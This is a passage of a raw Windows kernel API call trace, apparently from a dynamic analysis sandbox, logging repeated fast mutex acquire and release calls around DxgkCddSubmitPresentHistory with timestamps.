ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.509] DxgkCddSubmitPresentHistory () returned 0x0 [0140.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.540] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.540] DxgkCddSubmitPresentHistory () returned 0x0 [0140.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.577] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.578] DxgkCddSubmitPresentHistory () returned 0x0 [0140.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.602] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.602] DxgkCddSubmitPresentHistory () returned 0x0 [0140.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.625] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.625] DxgkCddSubmitPresentHistory () returned 0x0 [0140.650] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.650] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.650] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.650] DxgkCddSubmitPresentHistory () returned 0x0 [0140.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.743] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.743] DxgkCddSubmitPresentHistory () returned 0x0 [0140.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.754] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0140.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.754] DxgkCddSubmitPresentHistory () returned 0x0 [0140.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.755] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.755] DxgkCddSubmitPresentHistory () returned 0x0 [0140.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.759] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0140.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.759] DxgkCddSubmitPresentHistory () returned 0x0 [0140.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.775] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.775] DxgkCddSubmitPresentHistory () returned 0x0 [0140.807] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.807] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.807] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.807] DxgkCddSubmitPresentHistory () returned 0x0 [0140.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.825] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.825] DxgkCddSubmitPresentHistory () returned 0x0 [0140.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.825] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0140.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.825] DxgkCddSubmitPresentHistory () returned 0x0 [0140.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.825] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.825] DxgkCddSubmitPresentHistory () returned 0x0 [0140.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.841] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.841] DxgkCddSubmitPresentHistory () returned 0x0 [0140.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.873] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.873] DxgkCddSubmitPresentHistory () returned 0x0 [0140.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.889] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.889] DxgkCddSubmitPresentHistory () returned 0x0 [0140.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.889] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0140.889] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.889] DxgkCddSubmitPresentHistory () returned 0x0 [0140.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.905] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.905] DxgkCddSubmitPresentHistory () returned 0x0 [0140.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.921] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.921] DxgkCddSubmitPresentHistory () returned 0x0 [0140.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.967] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0140.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.967] DxgkCddSubmitPresentHistory () returned 0x0 [0140.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.968] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0140.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0140.968] DxgkCddSubmitPresentHistory () returned 0x0 [0140.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.968] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.968] DxgkCddSubmitPresentHistory () returned 0x0 [0140.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.999] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0140.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0140.999] DxgkCddSubmitPresentHistory () returned 0x0 [0141.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.012] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.012] DxgkCddSubmitPresentHistory () returned 0x0 [0141.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.028] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0141.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.028] DxgkCddSubmitPresentHistory () returned 0x0 [0141.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.033] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0141.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0141.033] DxgkCddSubmitPresentHistory () returned 0x0 [0141.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.033] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.033] DxgkCddSubmitPresentHistory () returned 0x0 [0141.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.060] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.060] DxgkCddSubmitPresentHistory () returned 0x0 [0141.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.076] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0141.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.076] DxgkCddSubmitPresentHistory () returned 0x0 [0141.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.076] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.076] DxgkCddSubmitPresentHistory () returned 0x0 [0141.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001576830) [0141.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.113] DxgkCddSubmitPresentHistory () returned 0x0 [0141.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.113] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0141.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.113] DxgkCddSubmitPresentHistory () returned 0x0 [0141.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.146] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.146] DxgkCddSubmitPresentHistory () returned 0x0 [0141.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.175] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0141.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.175] DxgkCddSubmitPresentHistory () returned 0x0 [0141.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.176] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001576830) [0141.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.176] DxgkCddSubmitPresentHistory () returned 0x0 [0141.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.210] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.210] DxgkCddSubmitPresentHistory () returned 0x0 [0141.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.234] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0141.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.234] DxgkCddSubmitPresentHistory () returned 0x0 [0141.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.234] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001576830) [0141.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.234] DxgkCddSubmitPresentHistory () returned 0x0 [0141.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.234] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.234] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.234] DxgkCddSubmitPresentHistory () returned 0x0 [0141.247] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.247] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.247] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.247] DxgkCddSubmitPresentHistory () returned 0x0 [0141.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.262] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.262] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.262] DxgkCddSubmitPresentHistory () returned 0x0 [0141.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.297] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.297] DxgkCddSubmitPresentHistory () returned 0x0 [0141.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.297] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0141.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.297] DxgkCddSubmitPresentHistory () returned 0x0 [0141.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.297] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001576830) [0141.297] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.297] DxgkCddSubmitPresentHistory () returned 0x0 [0141.328] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.328] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.328] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.328] DxgkCddSubmitPresentHistory () returned 0x0 [0141.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.361] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0141.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0141.361] DxgkCddSubmitPresentHistory () returned 0x0 [0141.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.361] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001576830) [0141.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001576830) [0141.361] DxgkCddSubmitPresentHistory () returned 0x0 [0141.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.361] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.361] DxgkCddSubmitPresentHistory () returned 0x0 [0141.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.396] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0141.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0141.397] DxgkCddSubmitPresentHistory () returned 0x0 [0141.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.397] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.397] DxgkCddSubmitPresentHistory () returned 0x0 [0141.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.457] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.458] DxgkCddSubmitPresentHistory () returned 0x0 [0141.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.465] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.465] DxgkCddSubmitPresentHistory () returned 0x0 [0141.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.482] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.482] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.482] DxgkCddSubmitPresentHistory () returned 0x0 [0141.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.521] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.521] DxgkCddSubmitPresentHistory () returned 0x0 [0141.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.553] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.553] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.553] DxgkCddSubmitPresentHistory () returned 0x0 [0141.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.568] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.568] DxgkCddSubmitPresentHistory () returned 0x0 [0141.590] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.590] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.590] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.591] DxgkCddSubmitPresentHistory () returned 0x0 [0141.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.624] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.624] DxgkCddSubmitPresentHistory () returned 0x0 [0141.669] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.669] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.669] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.669] DxgkCddSubmitPresentHistory () returned 0x0 [0141.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.703] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.703] DxgkCddSubmitPresentHistory () returned 0x0 [0141.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.718] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.718] DxgkCddSubmitPresentHistory () returned 0x0 [0141.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.734] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.734] DxgkCddSubmitPresentHistory () returned 0x0 [0141.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.751] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.751] DxgkCddSubmitPresentHistory () returned 0x0 [0141.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.783] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.783] DxgkCddSubmitPresentHistory () returned 0x0 [0141.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.815] DxgkCddSubmitPresentHistory () returned 0x0 [0141.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.847] DxgkCddSubmitPresentHistory () returned 0x0 [0141.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.879] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0141.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0141.879] DxgkCddSubmitPresentHistory () returned 0x0 [0142.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.899] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0142.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.899] DxgkCddSubmitPresentHistory () returned 0x0 [0142.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.900] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0142.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0142.900] DxgkCddSubmitPresentHistory () returned 0x0 [0142.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.900] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0142.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.900] DxgkCddSubmitPresentHistory () returned 0x0 [0142.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.918] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0142.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.918] DxgkCddSubmitPresentHistory () returned 0x0 [0142.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.918] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0142.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.918] DxgkCddSubmitPresentHistory () returned 0x0 [0142.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.933] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0142.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.933] DxgkCddSubmitPresentHistory () returned 0x0 [0142.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.933] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0142.933] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.933] DxgkCddSubmitPresentHistory () returned 0x0 [0142.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.980] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0142.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.980] DxgkCddSubmitPresentHistory () returned 0x0 [0142.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.996] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012e1b30) [0142.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.996] DxgkCddSubmitPresentHistory () returned 0x0 [0142.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.996] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0142.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0142.997] DxgkCddSubmitPresentHistory () returned 0x0 [0143.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) 